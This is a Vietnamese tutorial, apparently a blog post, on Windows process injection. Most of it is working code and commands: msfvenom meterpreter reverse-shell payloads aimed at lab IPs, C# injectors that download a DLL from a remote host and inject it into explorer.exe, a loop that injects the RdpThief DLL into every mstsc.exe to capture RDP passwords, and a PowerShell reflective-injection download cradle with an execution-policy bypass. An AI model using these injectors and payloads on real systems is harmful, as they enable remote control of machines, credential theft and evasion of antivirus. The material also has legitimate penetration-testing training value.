+5

Tìm hiểu về Process Injection

1. Tổng quan về Process Injection

Về tổng quan, chúng ta có thể bắt đầu process injection bằng cách mở một channel từ process này sang process khác thông qua hàm OpenProcess - sau đó chúng ta sẽ sử đổi không gian bộ nhớ thông qua hàm VirtualAllocExWriteProcessMemory và cuối cùng thực thi bên trong process với CreateRemoteThread

Đầu tiên, để có thể can thiệp vào một process - chúng ta cần có quyền làm điều đó với tham số check dwDesiredAccess

image.png

Mở notepad với user thông thường - tiến trình notepad.exe khởi chạy

Screenshot_14.png

Kiểm tra tiến hình với process_dump (C:\\Tools\SysinernalsSuite\procexp64.exe)

Screenshot_17.png

Kiểm tra khả năng control của tài khoản với process này

Screenshot_16.png

Như vậy ta có thể thấy răng, Notepad được bảo mật ở mức độ trung bình, đồng thời tài khoản có quyền đọc và ghi với process này

Mở notepad với user admin

Khi này ta thấy mức độ bảo mật đã được nâng lên mức HIGH

Screenshot_18.png

và user không còn quyền truy cập vào process này nữa

Screenshot_19.png

Như vậy ta chỉ có thể injection vào process đang chạy ở cùng một mức độ toàn vẹn hoặc thấp hơn. explorer.exe luôn là một mục tiêu lý tưởng để injection. Đơn giản nó luôn tồn tại và không thoát ra cho đến khi người dùng đăng xuất

Quay lại function sau đây

image.png

  • bInheritHandle xác định xem return có thể được kế thừa bởi một chương trình con hay không (BOOL)
  • dwProcessId chỉ định ID process cần injection

Sau khi OpenProcess() để xác định process, chúng ta sử dụng VirtualAllocEx để cấp phát bộ nhớ - mở rộng không gian để chứa shellcode - của chúng ta

Screenshot_11.png

Tiếp theo là WriteProcessMemory cho phép chúng ta injection shellcode vào process.

Screenshot_12.png

CreateRemoteThread để run process

Screenshot_13.png

2. Process Injection trên C#

Nguyên liệu :

  • Shellcode (Tạo với msfvenom)
sudo msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.49.138 lport=443 -b "x00" -f csharp
byte[] buf = new byte[773] {

Shell Code

};

  • explorer.exe Process ID (5536)

Screenshot_1.png

  • Code C# Visual Studio (có sẵn)
using System;
using System.Runtime.InteropServices;

namespace Inject
{
    class Program
    {
        static void Main(string[] args)
        {
        }
    }
}
  • Gọi API Win32

Quay lại quá trình Process Injection ta cơ bản có 4 quá trình như sau

Bước 1 . Gọi OpenProcess để xác định process cần injection

Bước 2. Mở rộng không gian chứa shell code với VirtualAllocEx

Bước 3. Ghi shellcode vào process với WriteProcessMemory

Bước 4 . Sử dụng WriteProcessMemory

Bước 5. Thực thi process với CreateRemoteThread

Vậy để có thể thực hiện hành công quá trình process injection ta cần lần lượt gọi các API : OpenProcess , VirtualAllocEx , WriteProcessMemory , CreateRemoteThread sau đó thực thi chúng với các parameter thích hợp

Để gọi các API trên, ta tiến hành truy cập vào www.pinvoke.net, sau đó lần lượt search các API trên ta sẽ có được các kết quả

OpenProcess

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess,bool bInheritHandle,uint processId);

VirtualAllocEx

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

WriteProcessMemory

[DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr hProcess,IntPtr lpBaseAddress,byte[] 
lpBuffer,Int32 nSize,out IntPtr lpNumberOfBytesWritten);

CreateRemoteThread

static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

Đoạn code sẽ trở nên như này

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;

namespace ConsoleApp2
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess,bool bInheritHandle,uint processId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr hProcess,IntPtr lpBaseAddress,byte[] lpBuffer,Int32 nSize,out IntPtr lpNumberOfBytesWritten);


        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        static void Main(string[] args)
        {
		   // Tham số sẽ ghi ở đây
        }
    }
}

Sử dụng Win32 API

  1. Đầu tiên là API OpenProcess . Tra cứu trên tài liệu của Microsoft ra có `
HANDLE OpenProcess(
  DWORD dwDesiredAccess,
  BOOL  bInheritHandle,
  DWORD dwProcessId
);

Tham số dwDesiredAccess là quyền truy cập mà chúng ta muốn có được cho process . Giá trị của nó sẽ được kiểm tra dựa trên "security descriptor" (2 giá trị này phải tương thích với nhau). Ở đây ra set quyền PROCESS_ALL_ACCESS . Quyền này sẽ cung cấp cho chúng ta truy cập đầy đủ vào explorer.exe

Screenshot_2.png

Biểu diễn dưới dạng thập lục phân ta có giá trị 0x001F0FFF

  • Tham số bInheritHandle cho chúng ta quyết định xem , liệu một child process đã tạo, có thể kế thừa xử lý này hay không.

Trong trường hợp này, chúng ta không cần quan tâm nên đặt là false

  • Tham số dwProcessId cho ID của process explorer.exe mà ta đã lấy được bên trên 5536

Tổng quan với API OpenProcess ta có

IntPtr hProcess = OpenProcess(0x001F0FFF, false, 5536)
  1. Tiếp theo, chúng ta tiến hành bước cấp phát bộ nhớ với VirtualAllocEx, tra cứu tài liệu API ta có các dùng như sau
LPVOID VirtualAllocEx(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);
  • Tham số hProcess chính là process xử lý explorer.exe mà ta đã lấy được từ trước

  • Tham số lpAddress là địa chỉ mong muốn mà ta muốn cấp phát cho remote process. Nếu API thành công,Buffer mới sẽ được cấp phát với một địa chỉ ban đầu như được cung cấp trong lpAddress . Tuy nhiên nếu giá tri này đã được cấp phát thì API sẽ không gọi thành công . Cho nên tốt nhất để giá trị null, API sẽ sử dụng một địa chỉ không sử dụng

lpAddress = IntPtr.Zero

  • 3 tham số dwSize, flAllocationType, flProtect chỉ định : Kích thước phân bổ mong muốn , Kiểu cấp phát , Bảo vệ bố nhớ

Chúng tương ứng thành 0x1000 (4096 byte) , 0x3000 (MEM_COMMIT và MEM_RESERVE) , 0x40 (PAGE_EXECUTE_READWRITE)

Tổng quan với VirtualAllocEx ta có

IntPtr addr = VirtualAllocEx(hProcess,IntPtr.Zero, 0x1000, 0x3000,0x40)
  1. Tiếp đến ta tiến hành sao chép Shellcode vào memory space của explorer.exe thông qua WriteProcessMemory
BOOL WriteProcessMemory(
  HANDLE  hProcess,
  LPVOID  lpBaseAddress,
  LPCVOID lpBuffer,
  SIZE_T  nSize,
  SIZE_T  *lpNumberOfBytesWritten
);
  • Tham số hProcess như bên trên
  • Tham số lpBaseAddress là địa chỉ bộ nhớ mới được cấp phát trong explorer.exe
  • Tham số lpBuffer địa chỉ mảng byte chứa shellcode
  • Tham số nSize là kích thước của shellcode sẽ được sao chép
  • Tham số lpNumberOfBytesWritten để output ra bao nhiêu dữ liệu đã được sao chép

Kết hợp với shellcode đã tạo ở trên ta có code

byte[] buf = new byte[773] {

ShellCode

};

IntPtr outSize;

WriteProcessMemory(hProcess,addr,buf , buf.Length, out outSize);

Ở đây ta thấy một giá trị "mới" được thêm vào đó là out . Để nó chuyển qua reference thay vì là một Value

  1. Tiếp đến ta thực thi shellcode thông qua CreateRemoteThread
HANDLE CreateRemoteThread(
  HANDLE                 hProcess,
  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  SIZE_T                 dwStackSize,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID                 lpParameter,
  DWORD                  dwCreationFlags,
  LPDWORD                lpThreadId
);

Ở đây ta thấy có nhiều tham số, nhưng ta không nhất thiết phải gọi hết ,

  • Tham số hProcess như trên

  • Tham số lpThreadAttributes mô tả bảo mật mong muốn của thread mới (mặc định là NULL)

  • Tham số dwStackSize set kích thước Slack (Mặc định đặt là 0)

  • Tham số lpStartAddress chỉ định địa chỉ bắt đầu của thread, trong trường hợp của chúng ta, nó phải bắt đầu bằng địa chỉ buffer mà chúng ta đã cấp phát bên trên

  • Tham số lpParameter là một con trỏ tới các biến sẽ được chuyển đến hàm lpStartAddress . Vì Shellcode của chúng ta không có bất kỳ options nào, nên đặt một giá trị NULL tại đây

  • Hai tham số dwCreationFlagslpThreadId ta bỏ qua

Như vậy là có lần lượt các giá trị sau : hProcess , IntPtr.Zero , 0 , addr , IntPtr.Zero , 0 ,IntPtr.Zero)

Code sẽ thành

IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

Đoạn code cuối cùng chúng ta nhận được

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;

namespace ConsoleApp2
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess,bool bInheritHandle,uint processId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr hProcess,IntPtr lpBaseAddress,byte[] lpBuffer,Int32 nSize,out IntPtr lpNumberOfBytesWritten);


        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        static void Main(string[] args)
        {
		IntPtr hProcess = OpenProcess(0x001F0FFF, false, 5536);
		IntPtr addr = VirtualAllocEx(hProcess,IntPtr.Zero, 0x1000, 0x3000,0x40);


byte[] buf = new byte[773] {
ShellCode
};

IntPtr outSize;

WriteProcessMemory(hProcess,addr,buf , buf.Length, out outSize);

IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
		
        }
    }
}
  1. Chúng ta tiến hành biên dịch code & thực thi (64bit)

Screenshot_3.png

Screenshot_4.png

Ở đây ta thấy PID của Malware đã trùng với PID của explorer

2. DLL Injection

Process Injection cho phép chúng ta đưa shellcode vào một process và thực thi nó. Điều này là khá hiệu quả, tuy nhiên với những codebases lớn hơn hoặc tồn tại DLL từ trước. Chúng ta có thể đưa toàn bộ DLL vào một prcocess thay vì chỉ shellcode đơn thuần

2.1 DLL Injection Theory

Khi một process cần sử dụng một API từ DLL , nó sẽ gọi tới LoadLibrary API để load nó vảo virtual memory space. Trong trường hợp của chúng ta, chúng ta muốn process sẽ load DLL độc hại thông qua các API Win32.

Tuy nhiên , LoadLibrary không thể được load trên một remote proces, vì vậy chúng ta phải thực hiện số một thủ thuật bắt buộc để buộc một process như explorer.exe load DLL của chúng ta.

Kiểm tra hàm LoadLibrary trên Microsoft ta có

HMODULE LoadLibraryA(
  [in] LPCSTR lpLibFileName
);

Cách tiếp cận của chúng ta sẽ cố gắng đánh lừa process thực thi LoadLibrary với đối số chính xác. Quay lại hàm CreateRemoteThread

HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);

Chúng ta quan tâm tới 2 tham số

  • lpStartAddress : Địa chỉ bắt đầu của hàm chạy trong thread mới

  • lpParameter: Địa chỉ bộ nhớ của buffer chứa tham số cho hàm đó (Shellcode là IntPtr.Zero do shell thì không có tham số)

Để cung cấp đối số chính xác (DLL độc hại), chúng ta phải cấp phát một "vùng" bên trong process , sau đó copy tên và đường dẫn của DLL vào đó . Địa chỉ của "vùng này" được cung cấp làm đối số lpParameter

Thông thường, các DLL chứa các API sẽ được gọi sau khi DLL được load. Để gọi các API này, các ứng dụng phải phân giải tên của của chúng thành memory addresses với hàm GetProcAddress. Tuy nhiên hàm này lại không thể phân giải API với dạng remote process (dạng ta tiêm vào rồi thực thi). Cho nên ta phải tạo những file DLL độc hại non-standard

2.2 DLL Injection with C#

Nguyên liệu :

  • Payload DLL
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.130 LPORT=4444 -f dll -o /var/www/html/malware.dll

pSqScreenshot_2.png

Code cuối cùng chúng ta có

using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;

namespace Inject
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
        public static extern IntPtr GetModuleHandle(string lpModuleName);

        static void Main(string[] args)
        {

            String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
            String dllName = dir + "\\malware.dll";

            WebClient wc = new WebClient();
            wc.DownloadFile("http://192.168.49.138:8083/malware.dll", dllName);

            Process[] expProc = Process.GetProcessesByName("explorer");
            int pid = expProc[0].Id;

            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
            IntPtr outSize;
            Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
            IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);
        }
    }
}

Biên dịch và thực thi

fSpScreenshot_3.png

cd /var/www/html
python3 -m http.server 8082
msfconsole ****

OIoScreenshot_4.png

Kiểm tra DLL đã tiêm trên máy nạn nhân

  • Mở Process Explorer > Chọn explorer.exe. Tiếp đến ở tab View > Lower Pane View > select DLLs

Ta sẽ thấy DLL độc hại của chúng ta đã được load cùng explorer.exe

qxnScreenshot_5.png

2.3. Stealing Clear Text Credentials from RDP

Thông thường, để đánh cắp thông tin đăng nhập RDP hay bất kỳ thông tin nào khác trên máy nạn nhân. Ta có thể nghĩ ngay tới Keyloggers. Tuy nhiên Keyloggers có một điểm yếu chí mạng, là nó ghi lại toàn bộ thao tác gõ của người dùng. Khiến khi nhận được nội dung file, ta không thể phân biệt được thông tin nào là thông tin cần dùng đẻ đăng nhập RDP.

Khi người dùng sử dụng Remote Desktop với mstsc.exe, họ nhập thông tin xác thực dạng clear-text vào ứng dụng. Bằng cách chèn các DLL độc hại vào đây ("mstsc.exe") ta có thể ghi lại thao tác gõ của người sử dụng . DLL độc hại mang tên RdpThief

Tác giả lợi dụng các API chịu trách nhiệm xử lý tên người dùng và mật khẩu lần lượt là CredIsMarshaledCredentialW, CryptProtectMemory , SspiPrepareForCredRead để sao chép username, password và domain name vào một tệp

RdpThief được viết dưới dạng DLL không được unmanaged và được đưa vào mstsc.exe trước khi ngươi dùng nhập thông tin đăng nhập

Quy trở lại mã DLL injection phía trên

using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;

namespace Inject
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
        public static extern IntPtr GetModuleHandle(string lpModuleName);

        static void Main(string[] args)
        {

            String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
            String dllName = dir + "\\malware.dll";

            WebClient wc = new WebClient();
            wc.DownloadFile("http://192.168.49.138:8083/malware.dll", dllName);

            Process[] expProc = Process.GetProcessesByName("explorer");
            int pid = expProc[0].Id;

            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
            IntPtr outSize;
            Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
            IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);
        }
    }
}

Ta nhớ lại chức năng của đoạn code này là Injection malware.dll được tạo ra từ msfvenom cho pocess explorer.exe. Vậy mã sửa đổi ta sẽ thay thế với chức năng injection "RdpThief DLL" vào "mstsc" là xong

uplScreenshot_1.png

Ta tiến hành injection với code sau

static void Main(string[] args)
{
  String dllName = "C:\\Tools\\RdpThief.dll";
  Process[] mstscProc = Process.GetProcessesByName("mstsc");
  int pid = mstscProc[0].Id;

  IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
  IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
  IntPtr outSize;
  Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
  IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
  IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);
}

Khác với mã trên, yêu cầu nạn nhân phải download DLL về rồi mới LoadlibaryA. Lần này ta tiến hành trỏ thẳng vào DLL độc hại

Tuy nhiên ta vẫn còn chút lấn cấn ở đây.

Người dùng phải chạy remote desktop trước, sau đó chúng ta phải chạy malware để injection vào process (vì nếu người dùng không chạy trước, thì làm gì có PID để mà injection)

mbhScreenshot_1.png

L2cScreenshot_2.png

Vì không biết khi nào người dùng khởi chạy mstsc.exe để khởi chạy mã độc hại của chúng ta trước khi họ nhập thông tin vào (điều này khó xảy ra trong thực tế)

Để cải thiện điều này, chúng ta có thể sử dụng vòng lặp while tự động phát hiện khi có một tiến trình mstsc.exe được khởi tạo và sau đó injection trước khi người dùng nhập thông tin đăng nhập của mình vào. Chúng ta cũng sử dụng Sleep để tạm dừng 1s giữa mỗi lần lặp

Code hoàn chỉnh sẽ là

using System.Threading;
using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;

namespace Inject {
  class Program {
    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

    [DllImport("kernel32.dll")]
    static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

    [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
    static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
    public static extern IntPtr GetModuleHandle(string lpModuleName);

    static void Main(string[] args) {

      String dllName = "C:\\Tools\\RdpThief.dll";

      while (true) {
        Process[] mstscProc = Process.GetProcessesByName("mstsc");
        if (mstscProc.Length > 0) {
          for (int i = 0; i < mstscProc.Length; i++) {
            int pid = mstscProc[i].Id;

            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
            IntPtr outSize;
            Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
            IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);
          }
        }

        Thread.Sleep(1000);
      }
    }
   }
 }

Sau khi chúng ta thực thi "mã độc", nó sẽ phát hiện bất cứ session nào đang chạy của mstsc và đưa DLL độc hại vào ứng dụng trước khi người dùng nhập thông tin đăng nhập.

3. Reflective DLL Injection

3.1. Reflective DLL Injection

LoadLibrary thực hiện một loạt các hành động bao gồm cả download các DLL về máy và thiết lập các quyền bố nhớ. Nó đồng thời cũng register DLL để nó có thể được sử dụng từ các API như GetProcAddress và hiển thị với các công cụ như Process Explorer.Điều này khiến nó dễ dàng bị phát hiện bởi AV và Blue Team.

3.2. Reflective DLL Injection in Powershell

  • Payload DLL
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.130 LPORT=4444 -f dll -o /var/www/html/malware.dll
python -m http.server 8082 

pSqScreenshot_2.png

  • Các bước tiến hành

Mở Powershell với tùy chọn cho phép thực thi script

PowerShell -Exec Bypass

Download DLL Payload

$bytes = (New-Object System.Net.WebClient).DownloadData('http://192.168.49.138:8082/malware.dll')

Tìm process để injection (trong trường hợp này là explorer)

$procid = (Get-Process -Name explorer).Id

Download Invoke-ReflectivePEInjection và thực thi

Import-Module C:\Tools\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid

hToScreenshot_1.png

Lỗi đỏ nhưng không sao, chạy bình thường

74SScreenshot_2.png

Kiểm tra DLL đã tiêm trên máy nạn nhân

Không phát hiện DLL malware.dll trên Process Explorer

opIScreenshot_3.png


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí